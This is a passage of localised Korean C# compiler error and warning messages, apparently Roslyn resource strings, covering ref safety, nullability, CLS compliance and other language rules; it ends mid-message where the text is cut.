/reference 옵션에는 파일 이름을 하나만 지정할 수 있습니다. 여러 별칭 또는 파일 이름을 지정하려면 /reference 옵션을 여러 개 사용하세요. + '{0}' 형식 stackalloc 식을 '{1}' 형식으로 변환할 수 없습니다. + {'로 시작하는 보간된 식의 닫는 구분 기호 '}'가 없습니다. + CLS 규격 검사를 사용하려면 모듈이 아니라 어셈블리에 CLSCompliant 특성을 지정해야 합니다. + 'scoped' 한정자는 ref 및 ref 구조체 값에만 사용할 수 있습니다. + '{0}' 형식 변수에서 foreach 문을 수행할 수 없습니다. '{0}'에는 '{1}'의 공개 인스턴스 또는 확장 정의가 없기 때문입니다. + {0} ruleset 파일을 읽는 동안 오류가 발생했습니다. {1} + 기본 형식 Finalize 메서드를 직접 호출하지 마세요. 이 메서드는 소멸자에서 자동으로 호출됩니다. + '{0}': 열거자 값이 너무 커서 해당 형식에 맞지 않습니다. + 제공된 파일에 '{0}' 줄이 있으며 제공된 줄 번호 '{1}'보다 적습니다. + 전처리기 지시문에 잘못된 파일 이름이 지정되었습니다. 파일 이름이 너무 길거나 유효한 파일 이름이 아닙니다. + 형식 또는 멤버는 사용되지 않습니다. + 식을 '{0}'(으)로 변환할 수 없습니다. 참조로 전달되거나 반환되지 않을 수 있기 때문입니다. + 사용 현황에서 '{0}' 메서드의 형식 인수를 유추할 수 없습니다. 형식 인수를 명시적으로 지정하세요. + 가능한 null 참조 인수입니다. + 메서드 그룹(&M) + 파일 특성이 없습니다. + path 특성이 없습니다. + 관리되지 않은 형식 '{0}'은(는) 필드에서 유효하지 않습니다. + '{0}' 컨테이너에서 공용 키를 사용하여 출력에 서명하는 동안 오류가 발생했습니다. {1} + '{0}' 연산자를 사용하려면 짝이 되는 '{1}' 연산자도 정의해야 합니다. + 필드 이니셜라이저는 static이 아닌 필드, 메서드 또는 '{0}' 속성을 참조할 수 없습니다. + 자동으로 구현된 읽기 전용 속성 + 네임스페이스 '{1}'은(는) 이 파일의 '{0}'에 대한 정의를 이미 포함하고 있습니다. + 정적 읽기 전용 필드 '{0}'의 필드는 ref 또는 out 값으로 사용할 수 없습니다. 단 정적 생성자에서는 예외입니다. + 이 참조는 '{0}'에 '{1}'을(를) 할당하지만 '{1}'은(는) '{0}'보다 좁은 이스케이프 범위를 갖습니다. + 속성에 대한 액세스 한정자 + 형식 및 별칭은 'scoped'로 지정할 수 없습니다. + 클래스, 레코드, 구조체 또는 인터페이스 멤버 선언에 잘못된 토큰 '{0}'이(가) 있습니다. + '{0}' 메타데이터 파일을 찾을 수 없습니다. + 'readonly' 멤버에서 readonly 멤버가 아닌 멤버를 호출하면 암시적 복사본이 생성됩니다. + 파일 범위 네임스페이스는 파일의 다른 모든 멤버보다 앞에 와야 합니다. + '{0}'에 미리 정의된 크기가 없으므로 sizeof는 안전하지 않은 컨텍스트에서만 사용할 수 있습니다. + 잘못된 검색 경로 '{0}'이(가) '{1}'에 지정되었습니다. '{2}' + 매개 변수 형식이 대리자 매개 변수 형식과 일치하지 않으므로 {0}을(를) 형식 '{1}'(으)로 변환할 수 없습니다. + CLS 규격 멤버만 abstract일 수 있습니다. + private protected + 어셈블리 및 '{0}' 모듈은 다른 프로세서를 대상으로 할 수 없습니다. + 식 트리에는 범위('..') 식을 포함할 수 없습니다. + '{0}' 매개 변수의 참조 종류 한정자가 대상의 해당 매개 변수 '{1}' 일치하지 않습니다. + '{0}'은(는) 보간된 문자열 처리기 유형이 아닙니다. + '{0}' 매개 변수의 참조 종류 한정자가 숨겨진 멤버의 해당 매개 변수 '{1}' 일치하지 않습니다. + 자동 구현 속성 '{0}'은(는) 명시적으로 할당되기 전에 읽혀서 'default'의 선행 암시적 할당을 유발합니다. + lock 문의 본문에서 await를 사용할 수 없습니다. + 정적 읽기 전용 필드는 ref 또는 out 값으로 사용할 수 없습니다. 단 정적 생성자에서는 예외입니다. + 할당되지 않은 자동 구현 속성의 사용. 속성을 자동 기본값으로 설정하도록 언어 버전을 업데이트하는 것이 좋습니다. + 속성 또는 이벤트 접근자에서는 '{0}' 특성이 유효하지 않습니다. 이 특성은 '{1}' 선언에만 유효합니다. + 매개 변수 '{0}'의 '범위 지정' 한정자가 대상 '{1}'과(와) 일치하지 않습니다. + 지정한 버전 문자열 '{0}'에는 결정성과 호환되지 않는 와일드카드가 포함되어 있습니다. 버전 문자열에서 와일드카드를 제거하거나 이 컴파일에 대해 결정성을 사용하지 않도록 설정하세요. + 명시적 인터페이스 지정자의 참조 형식 Null 허용 여부가 형식에 의해 구현된 인터페이스와 일치하지 않습니다. + 특성 인수로 사용된 배열은 CLS 규격이 아닙니다. + 사용하지 않는 extern 별칭 + 잘못된 숫자입니다. + 람다 무시 항목 매개 변수 + 이 컨텍스트에서 이 유형의 stackalloc 표현식의 결과는 포함하는 메소드 외부에 노출될 수 있습니다. + 형식 가변성(variance) + 디렉터리가 없습니다. + '{0}'을(를) 단락(short circuit) 연산자로 사용하려면 선언 형식 '{1}'이(가) true 및 false 연산자를 정의해야 합니다. + 삭제 가능 + 중첩 배열 이니셜라이저가 필요합니다. + 클래스 형식만 소멸자를 포함할 수 있습니다. + 어셈블리 참조가 ID와 일치하는 것으로 간주합니다. + '{0}' 어셈블리 참조가 잘못되어 확인할 수 없습니다. + 유추된 대리자 형식 + ref 매개 변수를 통해 참조로 매개 변수를 반환합니다. 그러나 return 문에서만 안전하게 반환될 수 있습니다. + 기본 리터럴의 대상 형식이 없습니다. + 할당을 분해하려면 오른쪽에 형식이 있는 식이 필요합니다. + 잘못된 파일 섹션 맞춤 '{0}' + 구조체 안의 무명 메서드, 람다 식, 쿼리 식 및 로컬 함수는 'this'의 인스턴스 멤버에 액세스할 수 없습니다. 'this'를 무명 메서드, 람다 식, 쿼리 식 또는 로컬 함수 외부에 있는 지역 변수에 복사한 후 이 지역 변수를 대신 사용하세요. + 읽기 전용 변수이므로 {0} '{1}'의 멤버에 할당하거나 참조 할당의 오른쪽으로 사용할 수 없습니다. + '{0}' 형식에 있는 참조 형식의 Null 허용 여부가 암시적으로 구현된 멤버 '{1}'과(와) 일치하지 않습니다. + '{0}' 조건부 멤버는 '{2}' 형식으로 '{1}' 인터페이스 멤버를 구현할 수 없습니다. + '{0}' 반환 형식에 있는 참조 형식의 Null 허용 여부가 암시적으로 구현된 멤버 '{1}'과(와) 일치하지 않습니다. + 정적 클래스 '{0}'은(는) '{1}' 형식에서 파생될 수 없습니다. 정적 클래스는 개체에서 파생되어야 합니다. + 정적 읽기 전용 필드 '{0}'의 필드는 쓰기 가능 참조로 반환될 수 없습니다. + '{0}' 형식이 이 어셈블리에 정의되었지만 형식 전달자가 지정되었습니다. + 패턴에 연결할 수 없습니다. 이미 switch 식의 이전 ARM에서 처리되었거나 일치시킬 수 없습니다. + 식이 너무 길거나 복잡하여 컴파일할 수 없습니다. + #pragma 지시문 뒤에는 한 줄로 된 주석 또는 줄의 끝이 필요합니다. + '{0}': 이벤트 속성에는 add 및 remove 접근자가 둘 다 있어야 합니다. + 참조 '{0}'에 의해 매개 변수를 반환하지만 현재 메서드로 범위가 지정됩니다. + { 또는 ; 또는 => 필요 + 참조된 어셈블리가 다른 프로세서를 대상으로 합니다. + '{1}' 인터페이스에 대해 관리되는 coclass 래퍼 클래스 '{0}'을(를) 찾을 수 없습니다. 어셈블리 참조가 있는지 확인하세요. + '{0}'이(가) '{1}' 패턴을 구현하지 않습니다. '{2}'이(가) '{3}'에서 모호합니다. + '{0}'은(는) /langversion의 유효한 옵션이 아닙니다. '/ langversion:?'를 사용하여 지원되는 값을 나열하세요. + 정규화된 별칭 이름은 식이 아닙니다. + 식별자가 필요합니다. + '{0}' 형식이 정의되지 않았습니다. + goto case' 값은 '{0}' 형식으로 암시적으로 변환할 수 없습니다. + 조건식에 할당을 사용하면 항상 상수가 됩니다. + '{0}' 조건부 멤버에는 out 매개 변수를 사용할 수 없습니다. + 안전하지 않은 컨텍스트에서는 await를 사용할 수 없습니다. + 포함 문은 선언 또는 레이블 문일 수 없습니다. + 포함된 레코드가 봉인되지 않았으므로 '{0}'은(는) 재정의를 허용해야 합니다. + Nullable 값 형식이 null일 수 있습니다. + 정적 로컬 함수 + 생성자가 external로 표시되었습니다. + 작업이 런타임에 오버플로될 수 있습니다('선택되지 않은' 구문을 사용하여 재정의). + 컬렉션 이니셜라이저 + 미리 정의된 형식 '{0}'을(를) 정의하지 않았거나 가져오지 않았습니다. + 자동으로 구현된 속성 + ref 다시 할당 + '{0}' 형식의 식은 '{1}' 형식의 패턴으로 처리할 수 없습니다. 언어 버전 '{2}' 이상을 사용하여 개방형 형식과 상수 패턴을 일치시키세요. + 적용 가능한 하나 이상의 오버로드가 조건부 메서드이므로 '{0}' 메서드에 대해 동적으로 디스패치된 호출이 런타임에 실패할 수 있습니다. + 형식 또는 멤버는 사용되지 않습니다. + '{0}' 생성자가 external로 표시되었습니다. + '{0}': 정적 클래스는 인터페이스를 구현할 수 없습니다. + 포함된 interop 구조체 '{0}'은(는) public 인스턴스 필드만 포함할 수 있습니다. + 형식 매개 변수이므로 '{0}'에서 파생될 수 없습니다. + fixed 문에 선언된 지역 변수의 형식은 포인터 형식이어야 합니다. + extern 별칭 + XML 주석 cref 특성에서 반환 형식이 잘못되었습니다. + 유형 ‘{0}’은(는) 메타데이터로 표현할 수 없기 때문에 이 컨텍스트에서 사용할 수 없습니다. + 반환 형식에서 참조 형식의 null 허용 여부가 구현된 멤버와 일치하지 않음(null 허용 여부 특성 때문일 수 있음) + CLSCompliant 특성을 매개 변수에 적용하면 의미가 없습니다. + 형식 매개 변수에 대한 제약 조건의 Null 허용 여부가 암시적으로 구현된 인터페이스 메서드의 형식 매개 변수에 대한 제약 조건과 일치하지 않습니다. + as' 연산자의 첫 번째 피연산자는 자연 형식이 없는 튜플 리터럴일 수 없습니다. + 잘못된 계측 종류: {0} + 확인된 사용자 정의 연산자 + 스크립트 코드에서 네임스페이스를 선언할 수 없습니다. + public, protected 또는 protected internal 변수는 CLS(공용 언어 사양)를 따르는 형식이어야 합니다. + '{0}'의 partial 선언에 충돌하는 액세스 가능성 한정자가 포함되어 있습니다. + '{3}' 형식은 제네릭 형식 또는 '{0}' 메서드에서 '{2}' 형식 매개 변수로 사용할 수 없습니다. '{3}' null 허용 형식이 '{1}' 제약 조건을 충족하지 않습니다. + nameof 연산자는 가로챌 수 없습니다. + 의도하지 않은 참조 비교가 있을 수 있습니다. 오른쪽을 캐스팅해야 합니다. + 출력 파일 '{0}'에 쓸 수 없습니다. '{1}' + this' 또는 'base' 키워드가 필요합니다. + EnumeratorCancellationAttribute는 영향을 주지 않습니다. 이 특성은 IAsyncEnumerable을 반환하는 비동기 반복기 메서드에 있는 CancellationToken 형식의 매개 변수에만 유효합니다. + '{0}'의 반환 형식에서 참조 형식의 null 허용 여부가 암시적으로 구현된 멤버 '{1}'과(와) 일치하지 않습니다(null 허용 여부 특성 때문일 수 있음). + 이 형식의 값은 'null'과 같을 수 없으므로 식의 결과가 항상 동일합니다. + 포인터 요소 액세스 + '{0}'이(가) '{1}'의 필요한 속성을 재정의하지 않습니다. + 최상위 스크립트 코드에서 'yield'를 사용할 수 없습니다. + 이 비동기 메서드에는 'await' 연산자가 없으며 메서드가 동시에 실행됩니다. + 미리 정의된 형식이 전역 별칭의 여러 어셈블리에 정의되어 있습니다. + '_' 이름은 '{0}' 형식을 참조하며, 무시 패턴은 참조하지 않습니다. 형식에 '@_'을 사용하거나, 무시하려면 'var _'을 사용하세요. + 'in' 또는 'out' 형식 매개 변수가 있는 인터페이스에서 열거형, 클래스, 구조체를 선언할 수 없습니다. + '{0}': 특성 인수는 형식 매개 변수를 사용할 수 없습니다. + 오버로드할 수 있는 연산자가 필요합니다. + 정적 읽기 전용 필드 '{0}'의 필드에는 할당할 수 없습니다. 단 정적 생성자 또는 변수 이니셜라이저에서는 예외입니다. + 필터 식이 상수 'true'입니다. + 소스 파일을 지정하지 않았습니다. + '{0}'의 시그니처가 잘못되어 진입점이 될 수 없습니다. + Catch 절은 try 문의 일반 catch 절 뒤에 올 수 없습니다. + 부분 메서드 '{0}'에는 'virtual', 'override', 'sealed', 'new' 또는 'extern' 한정자가 있으므로 접근성 한정자가 있어야 합니다. + 인덱싱되는 인스턴스를 참조하는 보간된 문자열 처리기 변환은 인덱서 멤버 이니셜라이저에서 사용할 수 없습니다. + 인수 없음 + 람다 식을 '{0}' 형식 인수가 대리자 형식이 아닌 식 트리로 변환할 수 없습니다. + 이 ref는 return 문을 통해서만 현재 메서드를 이스케이프할 수 있는 값을 할당합니다. + 반환 + 요청한 작업이 void 포인터에 정의되어 있지 않습니다. + '{0}' 대리자에 invoke 메서드가 없거나 지원되지 않는 반환 형식 또는 매개 변수 형식을 사용한 invoke 메서드가 있습니다. + 다른 생성된 제네릭 형식에서 생성된 제네릭 형식을 만들 수 없습니다. + 명시적으로 할당되기 전에 필드 '{0}'을(를) 읽어 '기본값'의 선행 암시적 할당을 유발합니다. + nameof 연산자 + 관리되는 형식('{0}')의 주소 또는 크기를 가져오거나 해당 형식에 대한 포인터를 선언할 수 없습니다. + '{0}' 기능은 표준화된 ISO C# 언어 사양의 일부가 아니므로 다른 컴파일러에서 지원하지 않을 수도 있습니다. + 소스 파일에 지정된 '{0}' 특성이 '{1}' 옵션과 충돌합니다. + 어셈블리의 CLSCompliant 특성과 다른 모듈의 CLSCompliant 특성을 지정할 수 없습니다. + 완화된 시프트 연산자 + {0} 매개 변수는 '{1}' 키워드를 사용하여 선언할 수 없습니다. + '{0}'에는 'UnmanagedCallersOnly' 특성이 지정되어 있으며 이 항목은 대리자 형식으로 변환할 수 없습니다. 이 메서드에 대한 함수 포인터를 가져오세요. + finally 절의 본문에서는 await를 사용할 수 없습니다. + 인터셉터 메서드는 일반 멤버 메서드여야 합니다. + 제어가 현재 메서드를 벗어나기 전에 '{0}' out 매개 변수를 할당해야 합니다. + 레코드는 개체 또는 다른 레코드에서만 상속할 수 있습니다. + 개체, 문자열 또는 클래스 형식이 필요합니다. + 식 트리에는 with 식이 포함될 수 없습니다. + 링크된 netmodule 메타데이터는 전체 PE 이미지를 제공해야 합니다. '{0}' + 할당되지 않은 '{0}' out 매개 변수를 사용합니다. + 별칭 이름을 'global'로 정의하지 않는 것이 좋습니다. + '{0}': 특성 유형 인수는 형식 매개 변수를 사용할 수 없습니다. + UTF-8 문자열 리터럴 + /platform:anycpu32bitpreferred는 /t:exe, /t:winexe 및 /t:appcontainerexe에서만 사용할 수 있습니다. + 구현된 멤버 또는 재정의된 멤버와 일치하는 '[DoesNotReturn]' 주석이 '{0}' 메서드에 없습니다. + ref 필드는 ref 구조체에서만 선언할 수 있습니다. + '{0}': ComImport 특성이 있는 클래스는 기본 클래스를 지정할 수 없습니다. + '{1}'에 ComImport 특성이 있으므로 '{0}'은(는) extern 또는 abstract여야 합니다. + 보간은 원시 문자열 리터럴을 시작하는 '$' 문자 수와 동일한 수의 닫는 중괄호로 끝나야 합니다. + fixed 변수 + {0} 이름에 대한 이름이 충돌합니다. + 이전의 catch 절에서 이 형식이나 상위 형식('{0}')의 예외를 모두 catch합니다. + 할당되지 않은 '{0}' 필드를 사용하고 있는 것 같습니다. + 블록 본문과 식 본문을 둘 다 제공할 수는 없습니다. + System.Void는 C#에서 사용할 수 없습니다. void 형식 개체를 가져오려면 typeof(void)를 사용하세요. + 제공한 문서 모드가 지원되지 않거나 잘못되었습니다. '{0}'. + '{0}' 연산자가 모호하여 '{1}' 형식의 피연산자에 사용할 수 없습니다. + 반환 형식에 있는 참조 형식 Null 허용 여부가 재정의된 멤버와 일치하지 않습니다. + 튜플 요소 이름은 할당 대상에서 다른 이름이 지정되었거나 이름이 지정되지 않았기 때문에 무시됩니다. + 참조된 어셈블리는 강력한 이름을 사용하지 않습니다. + 부분 메서드(Partial Method)는 인터페이스 메서드를 명시적으로 구현할 수 없습니다. + 매개 변수의 '범위' 한정자가 대상과 일치하지 않습니다. + 람다 식 + 가져온 것이므로 Main 메서드에 '{0}'을(를) 사용할 수 없습니다. + 단항 연산자의 매개 변수는 포함하는 형식이어야 합니다. + 제어가 호출자에게 반환되기 전에 필드 '{0}'이(가) 완전히 할당되어야 합니다. 필드를 자동으로 기본 설정하려면 언어 버전 '{1}'으로 업데이트하는 것이 좋습니다. + 오버로드된 Add 메서드 중 해당 컬렉션 이니셜라이저 요소에 가장 적합한 '{0}'은(는) 사용되지 않습니다. {1} + 연결에서 생성된 문자열 상수의 길이가 System.Int32.MaxValue를 초과합니다. 문자열을 여러 상수로 분할해 보세요. + CLS 규격 검사를 사용하려면 모듈이 아니라 어셈블리에 CLSCompliant 특성을 지정해야 합니다. + 참조된 어셈블리 '{0}'에 강력한 이름이 없습니다. + 네임스페이스 + '{0}' 및 '{1}'의 메서드 또는 속성 간 호출이 모호합니다. + switch 식은 일부 null 입력을 처리하지 않습니다(전체 아님). 예를 들어 '{0}' 패턴은 포함되지 않습니다. + 부동 소수점 상수가 '{0}' 형식 범위 밖에 있습니다. + 원시 문자열 리터럴 구분 기호는 자체 줄에 있어야 합니다. + '{2}' 어셈블리에서 '{0}' 메서드(토큰 0x{1:X8})의 디버그 정보를 읽을 수 없습니다. + 'UnmanagedCallersOnly'는 일반 정적 비추상, 비가상 메서드 또는 정적 로컬 함수에만 적용할 수 있습니다. + '{0}'은(는) 정적 메서드가 아니므로 이에 대한 함수 포인터는 만들 수 없습니다. + /nullable의 '{0}' 옵션이 잘못되었습니다. 'disable', 'enable', 'warnings' 또는 'annotations'여야 합니다. + 인코딩하지 않고 원본 텍스트에 대한 디버그 정보를 생성할 수 없습니다. + 매개 변수 '{0}'의 '범위' 수정자가 재정의되거나 구현된 멤버와 일치하지 않습니다. + 잘못된 '{0}' 옵션입니다. 리소스 표시 유형은 'public' 또는 'private'이어야 합니다. + 'ref readonly' 매개 변수 '{0}' 기본값이 지정되었지만 'ref readonly'는 참조에만 사용해야 합니다. 매개 변수를 'in'으로 선언하는 것이 좋습니다. + 이 컨텍스트에서 결과를 사용하면 선언 범위 외부의 매개 변수에서 참조하는 변수가 노출될 수 있습니다. + 우선 순위로 인해 여기에 연산자를 사용할 수 없음 + 레코드 멤버 '{0}'은(는) 퍼블릭이어야 합니다. + '{0}'을(를) 사용하지 마세요. 컴파일러 사용을 위해 예약되어 있습니다. + 전역으로 사용하지 않도록 설정되었기 때문에 경고를 복원할 수 없습니다. + 매개 변수는 둘러싸는 유형의 상태로 캡처되며 해당 값은 필드, 속성 또는 이벤트를 초기화하는 데에도 사용됩니다. + __arglist는 반복기의 매개 변수 목록에 사용할 수 없습니다. + '{0}'은(는) '{1}' 인터페이스 멤버를 구현하지 않습니다. 기본 형식에 의해 구현된 인터페이스의 참조 형식 Null 허용 여부가 일치하지 않습니다. + 비동기 {0}을(를) 대리자 형식 '{1}'(으)로 변환할 수 없습니다. 비동기 {0}은(는) void, Task 또는 Task<T>를 반환할 수 있는데, 세 형식 모두 '{1}'(으)로 변환할 수 없습니다. + 이 컨텍스트에서 변수 '{0}'을(를) 사용하면 선언 범위 외부에 참조된 변수가 노출될 수 있습니다. + '{0}' 특성이 중복되었습니다. + '{0}' 형식에는 비추상 멤버가 있으므로 해당 형식을 포함할 수 없습니다. 'Interop 형식 포함' 속성을 false로 설정해보세요. + 대리자 형식을 유추할 수 없습니다. + 포함하는 파일 경로를 해당 UTF-8 바이트 표현으로 변환할 수 없기 때문에 파일 로컬 유형 '{0}'을(를) 사용할 수 없습니다. {1} + '{0}' 요소에 대한 끝 태그가 필요합니다. + 선행 숫자 구분 기호 + nameof 연산자에서는 형식 인수가 허용되지 않습니다. + '{1}' 네임스페이스에 '{0}' 형식 또는 네임스페이스 이름이 없습니다. 어셈블리 참조가 있는지 확인하세요. + '{0}': 변수 형식의 인스턴스를 만들 때에는 인수를 지정할 수 없습니다. + Win32 리소스 읽기 오류 -- {0} + 전역 네임스페이스에 형식 이름 '{0}'이(가) 없습니다. 이 형식은 '{1}' 어셈블리에 전달되었습니다. 해당 어셈블리에 대한 참조를 추가하세요. + void' 형식의 식을 반환할 수 없습니다. + ref 또는 out 매개 변수에는 기본값을 사용할 수 없습니다. + 형식 이름 '{0}'이(가) 없습니다. 이 형식은 '{1}' 어셈블리에 전달되었습니다. 해당 어셈블리에 대한 참조를 추가하세요. + 반복기에 by-reference 로컬을 사용할 수 없습니다. + 두 부분 메서드 선언에는 동일한 조합의 'virtual', 'override', 'sealed' 및 'new' 한정자가 있어야 합니다. + this' 매개 변수의 기본값을 지정할 수 없습니다. + 지정된 식은 제공된 ('{0}') 형식이 아닙니다. + XML 주석에 typeparam 태그가 있지만 해당 이름의 형식 매개 변수는 없습니다. + 두 부분 메서드(Partial Method) 선언 모두 unsafe이거나 unsafe가 아니어야 합니다. + 병합 할당 + 기본 형식은 CLS(공용 언어 사양) 규격으로 표시된 어셈블리에서 CLS를 따를 필요가 없는 것으로 표시되었습니다. 어셈블리가 CLS 규격인 것으로 지정하는 특성을 제거하거나 형식이 CLS 규격이 아님을 나타내는 특성을 제거하세요. + 지정한 식은 항상 제공한 상수와 일치합니다. + vararg가 있는 메서드는 제네릭이거나 제네릭 형식일 수 없으며 params 매개 변수를 포함할 수 없습니다. + 'await'를 사용하려면 '{0}' 형식에 적합한 'GetAwaiter' 메서드가 있어야 합니다. 'System'에 대해 using 지시문이 있는지 확인하세요. + ; 또는 =가 필요합니다. 선언에서는 생성자 인수를 지정할 수 없습니다. + 이 컨텍스트에서 result 멤버를 사용하면 선언 범위 외부의 매개 변수에서 참조하는 변수가 노출될 수 있습니다. + 암시적 범위 인덱서 호출로 인수 이름을 지정할 수 없습니다. + 구조체에서 사용 + 참조 형식의 null 허용 여부 차이로 인해 매개 변수에 대해 인수를 사용할 수 없습니다. + True 또는 False 연산자의 반환 형식은 bool이어야 합니다. + 이 생성자는 해당 특성이 있는 생성자에 연결되므로 'SetsRequiredMembers'를 추가해야 합니다. + 제약 조건은 '{0}' 특수 클래스가 될 수 없습니다. + '{0}': 대상 런타임이 재정의에서 공변(covariant) 반환 형식을 지원하지 않습니다. 재정의된 멤버 '{1}'과(와) 일치하려면 '{2}' 반환 형식이어야 합니다. + 매개 변수 '{0}'의 '범위' 수정자가 재정의되거나 구현된 멤버와 일치하지 않습니다. + '{1}' 어셈블리로 전달된 '{0}' 형식이 '{3}' 어셈블리로 전달된 '{2}' 형식과 충돌합니다. + 인수는 'ref readonly' 매개 변수에 전달되므로 변수여야 합니다. + 이 컨텍스트에서는 기본값은 유효하지 않습니다. + ref 필드는 ref 구조체를 참조할 수 없습니다. + 파일 로컬 형식 '{0}'은(는) 파일 로컬 형식 '{1}'이(가) 아닌 기본 형식으로 사용할 수 없습니다. + '{0}' 대리자에는 '{1}' 매개 변수가 없습니다. + '관리되는' 호출 규칙은 관리되지 않는 호출 규칙 지정자와 함께 사용할 수 없습니다. + 같은 함수에 대한 포인터가 다를 수 있으므로 함수 포인터를 비교하면 예기치 않은 결과가 발생할 수 있습니다. + '기본 인터페이스 '{1}'이(가) CLS 규격이 아니므로 '{0}'은(는) CLS 규격이 아닙니다. + 소스 인터페이스 '{0}'에는 '{2}' 이벤트를 포함하는 데 필요한 '{1}' 메서드가 없습니다. + 특성 생성자 매개 변수 '{0}'은(는) 선택 사항이지만 기본 매개 변수 값이 지정되지 않았습니다. + 람다 식 트리에는 null 전파 연산자가 포함될 수 없습니다. + '{0}' 별칭을 찾을 수 없습니다. + '{0}' 멤버의 초기화가 중복되었습니다. + 레코드 같음 계약 속성 '{0}'에는 get 접근자가 있어야 합니다. + /debug에 대해 잘못된 '{0}' 옵션입니다. 'portable', 'embedded', 'full' 또는 'pdbonly'여야 합니다. + 고정되지 않은 식의 주소는 fixed 문의 이니셜라이저를 통해서만 가져올 수 있습니다. + 보간된 축자 문자열에 '$@' 대신 '@$'를 사용하려면 언어 버전 '{0}' 이상을 사용하세요. + '{0}': ComImport 특성이 있는 클래스는 필드 이니셜라이저를 지정할 수 없습니다. + 부분 메서드 '{0}'에는 'out' 매개 변수가 있으므로 접근성 한정자가 있어야 합니다. + '{0}': 정적 클래스에는 인덱서를 선언할 수 없습니다. + CallerArgumentExpressionAttribute는 선택적 인수를 허용하지 않는 컨텍스트에서 사용되는 멤버에 적용되므로 효과가 없습니다. + '{0}'이(가) 이미 인터페이스 목록에 있습니다. + null 포인터 상수 패턴 + '{0}': 속성이나 인덱서에는 접근자가 하나 이상 있어야 합니다. + 암시적으로 형식화된 변수는 상수일 수 없습니다. + 변수가 기본 형식의 변수와 동일한 이름으로 선언되었습니다. 그러나 new 키워드가 사용되지 않았습니다. 이 경고는 new를 사용해야 하므로 선언에 new가 사용된 경우처럼 변수가 선언됨을 알려줍니다. + 일관성 없는 액세스 가능성: '{1}' 반환 형식이 '{0}' 메서드보다 액세스하기 어렵습니다. + 읽기 전용 구조체의 인스턴스 필드는 읽기 전용이어야 합니다. + '{1}'을(를) '{0}'에 참조 할당할 수 없습니다. '{1}'이(가) '{0}'보다 이스케이프 범위가 좁기 때문입니다. + 연산자 '{0}'은(는) UTF-8 바이트 표현이 아닌 '{1}' 및 '{2}' 유형의 피연산자에 적용할 수 없습니다. + Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal을 사용하여 문자 리터럴 토큰을 만듭니다. + 식 트리에는 System.Index 또는 System.Range 패턴의 인덱서 액세스를 포함할 수 없습니다. + 특성 인수로 사용된 배열은 CLS 규격이 아닙니다. + 할당되지 않은 out 매개 변수 사용 + 현재 컨텍스트에서는 형식 인수를 생략할 수 없습니다. + 맞춤 값 {0}은(는) {1}보다 커서 큰 형식 문자열로 표시될 수 있습니다. + 정적 로컬 함수는 'this' 또는 'base'에 대한 참조를 포함할 수 없습니다. + 매개 변수를 읽지 않았습니다. + 식 트리에는 UTF-8 문자열 변환 또는 리터럴이 포함될 수 없습니다. + 출력 변수 선언 + ref 읽기 전용 매개 변수에는 Out 특성을 사용할 수 없습니다. + 정수 계열 상수와 비교하는 것은 의미가 없습니다. 상수가 '{0}' 형식의 범위를 벗어났습니다. + '실험적' + '{1}' 어셈블리의 '{0}' 형식에 포함된 interop 형식인 제네릭 형식 인수가 있기 때문에 이 형식을 다른 어셈블리에서 사용할 수 없습니다. + 상수 값이 런타임에 오버플로할 수 있음(재정의하려면 'unchecked' 구문 사용) + 람다 선택적 매개 변수 + 매개 변수 없는 구조체 생성자 + 단항 연산자의 매개 변수는 포함하는 유형이거나 이에 제한되는 유형 매개 변수여야 합니다. + 로컬 함수 '{0}'이(가) 선언되었지만 사용되지 않았습니다. + as 연산자는 참조 형식 또는 null 허용 형식과 함께 사용해야 합니다. '{0}'은(는) null을 허용하지 않는 값 형식입니다. + 추상 {0} '{1}'은(는) virtual로 표시할 수 없습니다. + '{0}': 정적 클래스는 사용자 정의 연산자를 포함할 수 없습니다. + '{0}' 레이블은 포함된 범위에서 같은 이름으로 다른 레이블을 숨깁니다. + 멤버 '{1}'이(가) '{0}'을(를) 재정의합니다. 런타임에 여러 재정의 후보가 있습니다. 호출되는 메서드는 구현에 따라 다릅니다. 최신 런타임을 사용하세요. + 구조체의 인스턴스 멤버 내에 있는 무명 메서드, 람다 식, 쿼리 식 및 로컬 함수는 기본 생성자 매개 변수에 액세스할 수 없습니다. + get 또는 set 접근자가 필요합니다. + System.ParamArrayAttribute'를 사용하지 않고, 대신 'params' 키워드를 사용하세요. + 봉인된 형식에 새 보호된 구성원이 선언됨 + 전달된 '{0}' 형식이 이 어셈블리의 주 모듈에서 선언된 형식과 충돌합니다. + 두 어셈블리의 릴리스 및/또는 버전 번호가 다릅니다. 통합하려면 애플리케이션의 .config 파일에서 지시문을 지정하고 어셈블리의 강력한 이름을 올바르게 제공해야 합니다. + '{0}' 생성자는 다른 생성자를 통해 자신을 호출할 수 없습니다. + 참조된 '{0}' 파일은 어셈블리가 아닙니다. + 오버로드된 '{0}' 이항 연산자는 매개 변수를 두 개 사용합니다. + or 패턴 + 조건부 특성을 사용하려면 로컬 함수 '{0}'이(가) 'static'이어야 합니다. + '{0}'은(는) 재정의 메서드이기 때문에 Conditional 특성이 유효하지 않습니다. + 지역 '{0}' 또는 해당 멤버의 주소를 가져와 무명 메서드 또는 람다 식 안에 사용할 수 없습니다. + SearchCriteria가 필요합니다. + 인터페이스에는 인스턴스 생성자가 포함될 수 없습니다. + '{0}'이(가) void를 반환하므로 return 키워드 뒤에 개체 식이 나오면 안 됩니다. + 사용자 정의 연산자는 유형을 자신으로 변환할 수 없습니다. + 편집의 포함된 형식 '{0}'에 대한 참조가 포함되어 있어 계속할 수 없습니다. + 이 호출이 대기되지 않으므로 호출이 완료되기 전에 현재 메서드가 계속 실행됩니다. 호출 결과에 'await' 연산자를 적용해 보세요. + 모든 참조가 범위를 벗어나기 전에 할당된 {0} 인스턴스에서 System.IDisposable.Dispose()를 호출하세요. + 할당된 {0} 인스턴스는 일부 예외 경로와 함께 삭제되지 않습니다. 모든 참조가 범위를 벗어나기 전에 System.IDisposable.Dispose()를 호출하세요. + 추측한 구문 노드는 현재 컴파일에서 구문 트리에 속할 수 없습니다. + '{0}' 보안 특성에 있는 SecurityAction 값('{1}')이 잘못되었습니다. + 읽기 전용 형식의 기본 생성자 매개 변수는 할당할 수 없습니다(형식의 init 전용 setter 또는 변수 이니셜라이저 제외). + 정적 로컬 함수는 '{0}'에 대한 참조를 포함할 수 없습니다. + 음의 값을 캐스팅하려면 값을 괄호로 묶어야 합니다. + PDB에 대한 '{0}' 로컬 이름이 너무 깁니다. 줄이거나 /debug 없이 컴파일하세요. + 멤버 정의, 문 또는 파일 끝(EOF)이 필요합니다. + 매개 변수 '{0}' 참조 종류 한정자가 재정의 또는 구현된 멤버의 해당 매개 변수 '{1}' 일치하지 